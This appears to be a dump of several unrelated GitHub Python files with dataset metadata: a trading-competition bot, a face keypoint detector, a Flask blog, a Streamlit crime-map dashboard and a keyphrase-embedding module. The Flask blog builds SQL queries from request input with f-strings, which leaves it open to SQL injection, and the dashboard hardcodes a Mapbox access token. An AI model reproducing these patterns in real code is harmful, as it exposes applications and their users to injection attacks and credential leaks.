-best_ask_volume\n else:\n # Buy as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = self.max_pos[product] - prod_position\n logger.print(f\"buying {vol} of {product}\")\n orders.append(Order(product, best_asks[i], vol))\n logger.print(f\"exceeding max pos for {product} in buying\")\n prod_position += vol\n new_buy_orders += vol\n i += 1\n\n if len(order_depth.buy_orders) != 0:\n best_bids = sorted(order_depth.buy_orders.keys(), reverse=True)\n best_bid = best_bids[-1]\n\n i = 0\n while i < self.trade_count and len(best_bids) > i and \\\n not self.below and not self.above and best_bids[i] > upper_bound:\n self.above = True\n if prod_position == -self.max_pos[product]:\n break\n best_bid_volume = order_depth.buy_orders[best_bids[i]]\n if prod_position - best_bid_volume >= -self.max_pos[product]:\n logger.print(\"SELL\", str(best_bid_volume) + \"x\", product, best_bids[i])\n orders.append(Order(product, best_bids[i], -best_bid_volume))\n prod_position += -best_bid_volume\n new_sell_orders += best_bid_volume\n\n else:\n # Sell as much as we can without exceeding the self.max_pos[product]\n logger.print(f\"exceeding max pos for {product} in selling\")\n vol = prod_position + self.max_pos[product]\n logger.print(f\"selling {vol} of {product}\")\n orders.append(Order(product, best_bids[i], -vol))\n prod_position += -vol\n new_sell_orders += vol\n\n i += 1\n\n if best_bid is not None and best_ask is not None:\n price = (best_bid + best_ask) / 2\n if self.below and price > lower_bound:\n assert not self.above\n self.below = False\n elif self.above and price < upper_bound:\n assert not self.below\n self.above = False\n # #\n # # Add some new orders on our own with very profitable prices hoping some stupid bots fill them\n # mid_price = (avg_bid + avg_ask) / 2\n # orders.append(Order(product, mid_price - self.spread[product], max(0, min(self.max_own_order[product], self.max_pos[product] - prod_position,\n # self.max_pos[product] - orig_position,\n # self.max_pos[product] - orig_position - new_buy_orders))))\n # orders.append(Order(product, mid_price + self.spread[product], -max(0, min(self.max_own_order[product], self.max_pos[product] + prod_position,\n # self.max_pos[product] + orig_position,\n # self.max_pos[product] + orig_position - new_sell_orders))))\n\n\n # Add all the above orders to the result dict\n result[product] = orders\n\n # Return the dict of orders\n # Depending on the logic above\n logger.flush(state, result)\n return result\n\n def cache_prices(self, state: TradingState) -> None:\n for product in state.order_depths.keys():\n if product not in self.old_bids.keys():\n self.old_bids[product] = []\n if product not in self.old_asks.keys():\n self.old_asks[product] = []\n sell_orders = state.order_depths[product].sell_orders\n buy_orders = state.order_depths[product].buy_orders\n\n self.old_asks[product].append(sell_orders)\n self.old_bids[product].append(buy_orders)\n\n def calculate_prices(self, product, days: int) -> (int, int):\n relevant_bids = []\n for bids in self.old_bids[product][-days:]:\n relevant_bids.extend([(value, bids[value]) for value in bids])\n relevant_asks = []\n for asks in self.old_asks[product][-days:]:\n relevant_asks.extend([(value, asks[value]) for value in asks])\n\n avg_bid = np.average([x[0] for x in relevant_bids], weights=[x[1] for x in relevant_bids])\n avg_ask = np.average([x[0] for x in relevant_asks], weights=[x[1] for x in relevant_asks])\n\n return avg_bid, avg_ask\n\n def calculate_stds(self, product, days: int) -> (int, int):\n relevant_bids = []\n for bids in self.old_bids[product][-days:]:\n relevant_bids.extend([(value, bids[value]) for value in bids])\n relevant_asks = []\n for asks in self.old_asks[product][-days:]:\n relevant_asks.extend([(value, asks[value]) for value in asks])\n\n std_bid = np.std([x[0] for x in relevant_bids])\n std_ask = np.std([x[0] for x in relevant_asks])\n\n return std_bid, std_ask\n\n def cache_pearl_prices(self, state: TradingState) -> None:\n # Caches prices of bought and sold products\n\n market_trades = state.market_trades\n own_trades = state.own_trades\n listings = state.listings\n for product in listings.keys():\n\n if product not in self.cached_prices.keys():\n self.cached_prices[product] = []\n\n prod_trades: List[Trade] = own_trades.get(product, []) + market_trades.get(product, [])\n\n if len(prod_trades) > 0:\n prices = [(trade.quantity, trade.price) for trade in prod_trades]\n self.cached_prices[product].append(prices)\n\n def calculate_means(self, product):\n if product not in self.cached_means:\n self.cached_means[product] = []\n\n if len(self.cached_prices[product]) == 0:\n self.cached_means[product].append(0)\n\n else:\n relevant_prices = []\n for day_prices in self.cached_prices[product][max(-len(self.cached_prices), -self.mean_days[product]):]:\n for price in day_prices:\n relevant_prices.append(price)\n prices = np.array([x[1] for x in relevant_prices])\n quantities = np.abs(np.array([x[0] for x in relevant_prices]))\n\n self.cached_means[product].append(np.average(prices, weights=quantities))\n\n def calculate_price(self, product):\n # Calculate average price of a product\n relevant_prices = []\n for day_prices in self.cached_prices[product][-self.last_days:]:\n for price in day_prices:\n relevant_prices.append(price)\n prices = np.array([x[1] for x in relevant_prices])\n quantities = np.abs(np.array([x[0] for x in relevant_prices]))\n\n return np.average(prices, weights=quantities)", "repo_name": "morfeusz321/ImcProsperity", "sub_path": "trader.py", "file_name": "trader.py", "file_ext": "py", "file_size_in_byte": 26938, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Any", "line_number": 19, "usage_type": "name"}, {"api_name": "datamodel.TradingState", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 22, "usage_type": "name"}, {"api_name": "datamodel.Symbol", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 22, "usage_type": "name"}, {"api_name": "datamodel.Order", "line_number": 22, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}, {"api_name": "datamodel.ProsperityEncoder", "line_number": 31, "usage_type": "name"}, {"api_name": "datamodel.TradingState", "line_number": 76, "usage_type": "name"}, {"api_name": "datamodel.OrderDepth", "line_number": 93, "usage_type": "name"}, {"api_name": "datamodel.Order", "line_number": 96, "usage_type": "name"}, {"api_name": "datamodel.Order", "line_number": 123, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 131, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 146, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 155, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 161, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 164, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 196, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 204, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 220, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 229, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 237, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 252, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 274, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 282, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 299, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 308, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 356, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 364, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 383, "usage_type": "call"}, {"api_name": "datamodel.Order", "line_number": 392, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 76, "usage_type": "name"}, {"api_name": "datamodel.Order", "line_number": 76, "usage_type": "name"}, {"api_name": "datamodel.TradingState", "line_number": 425, "usage_type": "name"}, {"api_name": "numpy.average", "line_number": 445, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 446, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 458, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 459, "usage_type": "call"}, {"api_name": "datamodel.TradingState", "line_number": 463, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 474, "usage_type": "name"}, {"api_name": "datamodel.Trade", "line_number": 474, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 492, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 493, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 493, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 495, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 503, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 504, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 504, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 506, "usage_type": "call"}]} {"seq_id": "40303378971", "text": "# 3d keypoint estimator\n# 1. facial canonical keypoint estimator\n# 2. Head pose & exp deformation estimator\nfrom torch import feature_dropout, nn\nimport torch\nimport torch.nn.functional as F\n\nfrom modules.utils import UNetDecoder, UNetEncoder, AntiAliasInterpolation2d, make_coordinate_grid\n\n\nclass CanonicalKPDetector(nn.Module):\n \"\"\"\n 2d image to a set of keypoint\n input:\n - x: (n,c,h,w)\n output:\n - out: dict{\n \"keypoint\": kp: (n, num_kp, 3)\n (optional) \"jacobian\": jacobian: (n, num_kp, 2, 2) or (n, num_kp, 3, 3)\n }\n\n\n\n \"\"\"\n\n def __init__(self, block_expansion, num_kp, num_in_channels, max_features, num_blocks, temperature, scale_factor=1, padding=0, depth=16):\n super(CanonicalKPDetector, self).__init__()\n\n self.depth = depth\n self.encoder = UNetEncoder(\n False, block_expansion, num_in_channels, num_blocks, max_features)\n self.unsqueeze_conv = nn.Conv2d(\n block_expansion * (2 ** num_blocks), block_expansion * (2 ** num_blocks) * depth, 1)\n self.decoder = UNetDecoder(\n True, block_expansion, num_in_channels, num_blocks, max_features, use_skip=False)\n\n self.kp = nn.Conv3d(\n self.decoder.num_out_ch, num_kp, 7, padding=padding)\n self.jacobian = None\n\n self.temperature = temperature\n self.scale_factor = scale_factor\n if scale_factor != 1:\n self.down = AntiAliasInterpolation2d(num_in_channels, scale_factor)\n\n def gaussian2kp(self, heatmap):\n shape = heatmap.shape # N,C,D,H,W\n # print(f\"[test] heatmap shape {shape}\")\n\n heatmap = heatmap.unsqueeze(-1)\n grid = make_coordinate_grid(\n shape[2:], dtype=heatmap.type()).unsqueeze_(0).unsqueeze_(0).to(device=heatmap.device)\n # print(f\"[test] grid shape {grid.shape}\")\n keypoint = (\n heatmap * grid).sum(dim=tuple(range(2, len(grid.shape) - 1)))\n\n return keypoint\n\n def forward(self, x):\n if self.scale_factor != 1:\n # print(f\"[test] scale {self.scale_factor}\")\n x = self.down(x)\n\n in_shape = x.shape\n feature_map = self.encoder(x)[-1]\n # import pdb\n # pdb.set_trace()\n\n feature_map = self.unsqueeze_conv(feature_map)\n feature_map = feature_map.view(\n feature_map.shape[0], -1, self.depth, *feature_map.shape[-2:])\n feature_map = self.decoder(feature_map)\n\n heatmap = self.kp(feature_map)\n heatmap_shape = heatmap.shape\n heatmap = heatmap.view(*heatmap_shape[:2], -1)\n heatmap = F.softmax(heatmap / self.temperature, dim=-1)\n heatmap = heatmap.view(heatmap_shape)\n\n out = {'keypoint': self.gaussian2kp(heatmap)}\n if self.jacobian:\n raise NotImplementedError\n\n return out\n", "repo_name": "xk-huang/face-vid2vid", "sub_path": "modules/kp_detector.py", "file_name": "kp_detector.py", "file_ext": "py", "file_size_in_byte": 2863, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "modules.utils.UNetEncoder", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "modules.utils.UNetDecoder", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn.Conv3d", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "modules.utils.AntiAliasInterpolation2d", "line_number": 44, "usage_type": "call"}, {"api_name": "modules.utils.make_coordinate_grid", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 77, "usage_type": "name"}]} {"seq_id": "22066319464", "text": "import sqlite3\nfrom flask import Flask , request, render_template, url_for,\\\n redirect, escape, session, flash, jsonify\n\nfrom db import sql_db as db\n\nfrom auth import bp_auth\n\n# virtualenv venv - загрузка виртуальной среды \n# source venv/bin/activate - активируем виртуальную среду \n# pip install flask - загрузка фласка \n# pip необходим для подгрузки дополнительных модулей \n# любая ОС принимает 2 вида аргументов с 1 (-) и 2(-)\n\n# export FLASK_APP=main.py\n# flask run\n\napp = Flask(__name__)\napp.secret_key = \"one\" \n# name - название модуля, такое же как имя файла \n\napp.register_blueprint(bp_auth)\n\ndb.execute_sql_file(\"db/SQL/create_db.sql\")\n\n@app.route(\"/posts/\")\n@app.route(\"/posts\", methods=[\"POST\", \"GET\"])\ndef posts(login=None):\n if request.method == \"GET\":\n get_login = f\"SELECT id FROM users WHERE login = '{login}'\"\n request_id = db.query(get_login, assoc=True)\n user_id = request_id[0][\"id\"]\n get_post = f\"SELECT * FROM posts WHERE user = {user_id} ORDER BY created ASC\"\n # ORDER BY - в какаом порядке , created - поле , ASC - наоборот \n request_post = db.query(get_post, True)\n return jsonify(request_post)\n # jsonify - переводит массив в json \n\n # return render_template(\"posts.html\")\n elif request.method == \"POST\":\n get_id = request.form[\"id\"]\n get_text = request.form[\"post_text\"]\n add_values = f\"INSERT INTO posts(user, text) VALUES ('{get_id}', '{get_text}')\"\n user_id = db.insert(add_values)\n add_post = f\"SELECT u.display_name , p.text , p.updated as date FROM posts as p \\\n INNER JOIN users as u ON u.id = p.user WHERE p.id = {user_id}\"\n # мы берем данные login - в users , text - в posts \n # as переименовывает данные для текущего запроса \n # INNER JOIN - позволяет дополнительно прикрепить 2 таблицу \n post = db.query(add_post, True)\n responce = {\n \"success\":True,\n \"result\": []\n }\n \n responce[\"result\"].append(post[0])\n # [0] - берем первый SELECT - это u.display_name\n return jsonify(responce)\n \n\n@app.route('/')\ndef index():\n if \"id\" in session:\n return redirect(url_for(\"main\"))\n return render_template(\"index.html\", title=\"Главная\")\n\nwith app.test_request_context():\n print(url_for(\"index\"))\n\n@app.route('/main', methods=['GET'])\ndef main():\n if \"id\" in session:\n id_session = escape(session[\"id\"])\n get_session_data = f\"SELECT * FROM users WHERE id = {id_session}\"\n callUser = db.query(get_session_data, assoc=True)\n \n return render_template(\n \"main.html\",\n\n name=callUser[0][\"display_name\"], \n born=callUser[0][\"bithday\"],\n title= callUser[0][\"display_name\"],\n id= callUser[0][\"id\"]\n )\n return redirect(url_for(\"index\"))\n\n# куки файлы и фласк \n\n# flask upload files\n# придумать модель постинга текста (id , username, text, URL , )\n", "repo_name": "bloot-bloot/FlaskBlog", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3387, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 18, "usage_type": "call"}, {"api_name": "auth.bp_auth", "line_number": 22, "usage_type": "argument"}, {"api_name": "db.sql_db.execute_sql_file", "line_number": 24, "usage_type": "call"}, {"api_name": "db.sql_db", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "db.sql_db.query", "line_number": 31, "usage_type": "call"}, {"api_name": "db.sql_db", "line_number": 31, "usage_type": "name"}, {"api_name": "db.sql_db.query", "line_number": 35, "usage_type": "call"}, {"api_name": "db.sql_db", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "db.sql_db.insert", "line_number": 44, "usage_type": "call"}, {"api_name": "db.sql_db", "line_number": 44, "usage_type": "name"}, {"api_name": "db.sql_db.query", "line_number": 50, "usage_type": "call"}, {"api_name": "db.sql_db", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 63, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.escape", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 73, "usage_type": "name"}, {"api_name": "db.sql_db.query", "line_number": 75, "usage_type": "call"}, {"api_name": "db.sql_db", "line_number": 75, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 85, "usage_type": "call"}]} {"seq_id": "8468619696", "text": "import pandas as pd\r\nimport plotly.express as px \r\nimport streamlit as st\r\nimport plotly.graph_objects as go\r\nimport io \r\nimport pip\r\npip.main([\"install\", \"openpyxl\"])\r\n\r\n# Configurar página\r\nst.set_page_config(\r\n page_title=\"Danger Zones in San Francisco\",\r\n page_icon=\":warning:\",\r\n layout=\"wide\"\r\n)\r\n\r\n@st.cache(allow_output_mutation=True)\r\ndef load_data():\r\n with open('datapolice.xlsx', 'rb') as f:\r\n data = pd.read_excel(io.BytesIO(f.read()))\r\n return data\r\n\r\ndf0 = load_data()\r\ndf0.columns = [column.replace(\" \", \"_\") for column in df0.columns]\r\nprint(df0)\r\nst.dataframe(df0)\r\n\r\n\r\n#----- SIDEBAR -----\r\nst.sidebar.header(\"Please Filter Here:\")\r\ndayofweek = st.sidebar.multiselect(\r\n \"Select the WeekDay of the Incident:\",\r\n options=df0[\"Incident_Day_of_Week\"].unique(),\r\n default=df0[\"Incident_Day_of_Week\"].unique()\r\n)\r\n\r\nyear = st.sidebar.multiselect(\r\n \"Select the year of the Incident:\",\r\n options=df0[\"Incident_Year\"].unique(),\r\n default=df0[\"Incident_Year\"].unique()\r\n)\r\n\r\ncategory = st.sidebar.multiselect(\r\n \"Select the category of the incident:\",\r\n options=df0[\"Incident_Category\"].unique(),\r\n default=df0[\"Incident_Category\"].unique()\r\n)\r\n\r\ndf0_selection = df0.query(\r\n \"Incident_Day_of_Week == @dayofweek & Incident_Year == @year & Incident_Category == @category\"\r\n)\r\n\r\n#----- MAINPAGE -----\r\nst.title(\":warning: San Francisco Danger Zones\")\r\nst.markdown(\"##\")\r\n\r\n# TOP KPIs\r\ntotal_areas_of_vulnerability = int(df0_selection[\"Areas_of_Vulnerability,_2016\"].sum())\r\ntotal_current_police_districts = int(df0_selection[\"Current_Police_Districts\"].sum())\r\ntotal_current_supervisor_districts = int(df0_selection[\"Current_Supervisor_Districts\"].sum())\r\n\r\nleft_column, middle_column, right_column = st.columns(3)\r\nwith left_column:\r\n st.subheader(\"Total Areas of Vulnerability:\")\r\n st.subheader(f\"{total_areas_of_vulnerability:}\")\r\nwith middle_column:\r\n st.subheader(\"Total Current Police Districts:\")\r\n st.subheader(f\"{total_current_police_districts}\")\r\nwith right_column:\r\n st.subheader(\"Total Current Supervisor Districts:\")\r\n st.subheader(f\"{total_current_supervisor_districts}\")\r\n\r\nst.markdown(\"---\")\r\n\r\n# AREAS OF VULNERABILITY BY CATEGORY (BAR CHART)\r\nareas_of_vulnerability_by_category = ( \r\n df0_selection.groupby(by=[\"Incident_Category\"]).sum()[[\"Areas_of_Vulnerability,_2016\"]].sort_values(by=\"Areas_of_Vulnerability,_2016\")\r\n)\r\nfig_vulnerability_category = px.bar(\r\n areas_of_vulnerability_by_category,\r\n x=\"Areas_of_Vulnerability,_2016\",\r\n y=areas_of_vulnerability_by_category.index, \r\n orientation=\"h\",\r\n title=\"Areas of vulnerability by Category\",\r\n color_discrete_sequence=[\"#0083B8\"] * len(areas_of_vulnerability_by_category),\r\n template=\"plotly_white\",\r\n)\r\nfig_vulnerability_category.update_layout(\r\n plot_bgcolor=\"rgba(0,0,0,0)\",\r\n xaxis=(dict(showgrid=False))\r\n)\r\nst.plotly_chart(fig_vulnerability_category)\r\n\r\n#----- MAPA -----\r\ndef generar_mapa_interactivo(df0):\r\n data = [\r\n go.Scattermapbox(\r\n lat=df0['Latitude'],\r\n lon=df0['Longitude'],\r\n mode='markers',\r\n marker=go.scattermapbox.Marker(\r\n size=14\r\n ),\r\n text=df0['Intersection']\r\n )\r\n ]\r\n\r\n layout = go.Layout(\r\n autosize=True,\r\n hovermode='closest',\r\n mapbox=dict(\r\n accesstoken='pk.eyJ1IjoiYTAxNTcwOTI3IiwiYSI6ImNsaXhscDR0NzA3cGgzY281N3huZmwxaGgifQ.aEzV7kQCmfkzxXrz1EGCgQ',\r\n bearing=0,\r\n center=dict(\r\n lat=df0['Latitude'].mean(),\r\n lon=df0['Longitude'].mean()\r\n ),\r\n pitch=0,\r\n zoom=12\r\n ),\r\n )\r\n\r\n fig = go.Figure(data=data, layout=layout)\r\n\r\n st.plotly_chart(fig, use_container_width=True)\r\n\r\n#----- APP WEB DEL MAPA -----\r\ndef main():\r\n st.title('San Francisco Crime Zones')\r\n\r\n generar_mapa_interactivo(df0)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "mwilltec/ZFCZ", "sub_path": "ActIntegradora.py", "file_name": "ActIntegradora.py", "file_ext": "py", "file_size_in_byte": 4040, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pip.main", "line_number": 7, "usage_type": "call"}, {"api_name": "streamlit.set_page_config", "line_number": 10, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 19, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 19, "usage_type": "call"}, {"api_name": "streamlit.cache", "line_number": 16, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 25, "usage_type": "call"}, {"api_name": "streamlit.sidebar.header", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 29, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.multiselect", "line_number": 30, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 30, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.multiselect", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 36, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.multiselect", "line_number": 42, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 42, "usage_type": "attribute"}, {"api_name": "streamlit.title", "line_number": 53, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 63, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 64, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 66, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 67, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 69, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 70, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 72, "usage_type": "call"}, {"api_name": "plotly.express.bar", "line_number": 78, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 78, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 91, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Scattermapbox", "line_number": 96, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 96, "usage_type": "name"}, {"api_name": "plotly.graph_objects.scattermapbox.Marker", "line_number": 100, "usage_type": "call"}, {"api_name": "plotly.graph_objects.scattermapbox", "line_number": 100, "usage_type": "attribute"}, {"api_name": "plotly.graph_objects", "line_number": 100, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Layout", "line_number": 107, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 107, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 122, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 122, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 124, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 128, "usage_type": "call"}]} {"seq_id": "20041822612", "text": "from nltk import sent_tokenize, wordpunct_tokenize\nfrom typing import Dict, List, Tuple\nfrom .constants import PUNCT_SET\nfrom .glove import Glove\n\nimport numpy as np\n\ndef cosine_similarity(a: np.float64, b: np.float64) -> float:\n norm_a = np.linalg.norm(a)\n norm_b = np.linalg.norm(b)\n if norm_a == 0 or norm_b == 0:\n return -1\n return np.dot(a, b) / (norm_a * norm_b)\n\ndef _filter_words(text: str) -> List[str]:\n tokens = wordpunct_tokenize(text)\n words_filter = [word.lower() for word in tokens\n if set(word).isdisjoint(PUNCT_SET)]\n return words_filter\n\nclass Document(object):\n \"\"\"Document to be embedded. May be a word, a sentence, etc.\n\n Parameters\n ----------\n text : str, required\n The text to be embedded\n glove : Glove, required\n GloVe embeddings\n\n Attributes\n ----------\n text : str\n dim : int\n Dimension of GloVe embeddings.\n embedding : np.float64\n Document embedding built from average of GloVe embeddings.\n \"\"\"\n\n def __init__(self,\n text: str, \n glove: Glove) -> None:\n self.text = text\n self.dim = glove.dim\n self.embedding = self.__embed_document(glove.embeddings)\n\n def __embed_document(self,\n embeddings: Dict[str, np.float64]) -> np.float64:\n words = wordpunct_tokenize(self.text.lower())\n vector = np.zeros(self.dim)\n for i, word in enumerate(words):\n if embeddings.get(word, None) is None:\n vector += np.zeros(self.dim)\n else:\n vector += embeddings[word]\n return vector / len(words)\n\n def get_word_positions(self) -> Dict[str, List[int]]:\n words = _filter_words(self.text)\n word_positions = {}\n for i, word in enumerate(words):\n if word_positions.get(word) is None:\n word_positions[word] = [i]\n else:\n word_positions[word].append(i)\n return word_positions\n\nclass Phrase(Document):\n \"\"\"Phrase to be embedded. Inherits from Document object.\n\n Parameters\n ----------\n text : str, required\n The text to be embedded\n glove : Glove, required\n GloVe embeddings\n parent : Document, required\n Document where the Phrase is from\n\n Attributes\n ----------\n text : str\n dim : int\n embedding : np.float64\n parent : Document\n positions : List[Tuple[int]]\n List of indices where a given phrase is located. \n Each index is represented as a Tuple where the first\n element is the first index the phrase appears in\n and the second element is the second index the phrase\n appears in. If a phrase is a unigram, a position Tuple\n is (position, position).\n similarity : float\n Cosine similarity between the parent document and the phrase.\n score : float, None\n Min/Max scaling of the cosine similarity in relation to the\n other candidate keyphrases.\n rank : int, None\n Phrase ranking with respect to the score in descending order.\n \"\"\"\n\n def __init__(self, \n text: str, \n parent: Document,\n glove: Glove) -> None:\n super().__init__(text, glove)\n self.parent = parent\n self.positions = self.__get_positions()\n self.window = self.__expand_window()\n self.similarity = cosine_similarity(parent.embedding, \n self.embedding)\n self.theme_weight = None\n self.score = None\n self.rank = None\n\n def __str__(self) -> str:\n return self.text\n\n def set_theme_weight(self, \n min_: float, \n max_: float) -> None:\n # THIS SHOULD BE SET_THEME_EMBEDDING!!!!!\n diff = max_ - min_\n self.theme_weight = (self.similarity - min_) / diff\n\n def calc_pmi(self, phrase, candidates: int):\n \"\"\"Calculates point-wise mutual information between\n one candidate phrase and another.\"\"\"\n prob_phrase_one = len(self.positions) / candidates\n prob_phrase_two = len(phrase.positions) / candidates\n cooccur = 0\n for pos in phrase.positions:\n if self.window.get(pos[0]) or self.window.get(pos[1]):\n cooccur += 1\n prob_cooccur = cooccur / candidates\n return np.log(prob_cooccur / (prob_phrase_one * prob_phrase_two))\n\n def __get_positions(self) -> List[Tuple[int]]:\n \"\"\"Gets positions a phrase is in.\"\"\"\n parent_word_positions = self.parent.get_word_positions()\n phrase_split = self.text.lower().split(' ')\n positions = []\n if len(phrase_split) == 1:\n for word_pos in parent_word_positions[phrase_split[0]]:\n positions.append((word_pos, word_pos))\n else:\n phrase = {word: parent_word_positions[word] \n for word in phrase_split}\n len_phrase = len(phrase_split)\n for position in phrase[phrase_split[0]]:\n for i, word in enumerate(phrase_split[1:]):\n pred_pos = position + i + 1\n end_of_phrase = i + 2 == len_phrase\n is_pred_pos = pred_pos in phrase[word]\n if is_pred_pos and end_of_phrase:\n positions.append((position, pred_pos))\n return positions\n\n def __expand_window(self) -> Dict[int, int]:\n \"\"\"Returns dictionary of positions in a phrase's \n adj. window.\"\"\"\n window = {}\n phrase_len = len(self.parent.text.split(' '))\n for pos in self.positions:\n min_index = max(pos[0] - 5, 0)\n max_index = min(pos[1] + 6, phrase_len)\n indices = [i for i in range(min_index, max_index)]\n for i in indices:\n if window.get(i) is None:\n window[i] = i\n return window", "repo_name": "MarkSecada/key2vec", "sub_path": "key2vec/docs.py", "file_name": "docs.py", "file_ext": "py", "file_size_in_byte": 5913, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.float64", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 10, "usage_type": "call"}, {"api_name": 